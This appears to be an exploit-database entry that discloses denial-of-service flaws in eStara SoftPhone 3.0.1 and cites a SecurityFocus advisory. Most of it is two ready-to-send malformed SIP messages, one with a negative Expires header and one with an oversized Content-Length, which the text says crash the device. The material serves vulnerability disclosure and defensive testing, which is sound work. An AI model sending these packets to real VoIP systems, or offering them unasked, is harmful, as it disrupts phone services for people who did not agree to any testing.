eStara SoftPhone 3.0.1 SIP Packet Multiple Malformed Field DoS

source: http://www.securityfocus.com/bid/16629/info eStara Smartphone is prone to multiple denial-of-service vulnerabilities when processing malformed VOIP headers. Successful exploitation will cause the device to crash. For the negative 'Expires' field issue: OPTIONS sip:a@127.0.0.1 SIP/2.0 Via: SIP/2.0/UDP 172.16.3.6:3334;branch=z9hG4bK00001793z9hG4bK.00001FDB From: 1793 <sip:a@127.0.0.1>;tag=1793 To: zwell <sip:a@127.0.0.1> Call-ID: 1407@172.16.3.6 CSeq: 5185 OPTIONS Expires: -127 For the 'Content-Length' field issue: INVITE sip:a@127.0.0.1 SIP/2.0 Via: SIP/2.0/UDP 172.16.3.6:3333;branch=z9hG4bK00002386z9hG4bK.0000234E From: 2386 <sip:a@127.0.0.1>;tag=2386 To: zwell <sip:a@127.0.0.1> Call-ID: 31442@172.16.3.6 CSeq: 4896 INVITE Content-Type: application/sdp Content-Length: 1111111111 v=0 o=2386 2386 2386 IN IP4 172.16.3.6 s=Session SDP c=IN IP4 172.16.3.6 t=0 0 m=audio 9876 RTP/AVP 0 a=rtpmap:0 PCMU/8000